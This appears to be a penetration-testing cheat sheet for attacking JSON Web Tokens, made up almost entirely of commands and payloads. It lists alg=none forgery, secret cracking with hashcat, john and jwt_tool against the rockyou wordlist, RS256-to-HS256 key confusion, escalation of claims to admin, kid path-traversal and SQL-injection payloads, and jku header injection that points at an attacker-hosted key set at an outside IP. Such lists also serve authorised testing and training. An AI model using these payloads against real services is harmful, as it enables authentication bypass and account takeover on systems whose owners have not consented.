JSON Web Token attacks — decoding, alg=none, weak-secret cracking (hashcat/jwt_tool), RS256→HS256 key confusion, claim tampering and kid/jku/x5u header injection.
echo $JWT | cut -d. -f1,2 | tr '.' '\n' | base64 -d 2>/dev/null
python3 jwt_tool.py <JWT>
jwt_tool <JWT> -T
jwt_tool <JWT> -X a
header {"alg":"none"} + payload + "."
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
jwt_tool <JWT> -C -d /usr/share/wordlists/rockyou.txt
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
jwt_tool <JWT> -X k -pk public.pem
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout > public.pem
edit {"role":"admin"} / {"admin":true} / {"sub":"administrator"}
jwt_tool <JWT> -I -pc role -pv admin -S hs256 -p secret
"kid":"../../../../dev/null"
"kid":"x' UNION SELECT 'mysecret'-- -"
jwt_tool <JWT> -X s -ju http://10.10.14.1/jwks.json
jwt_tool <JWT> -M at -t https://target.com/api -rh "Authorization: Bearer JWT"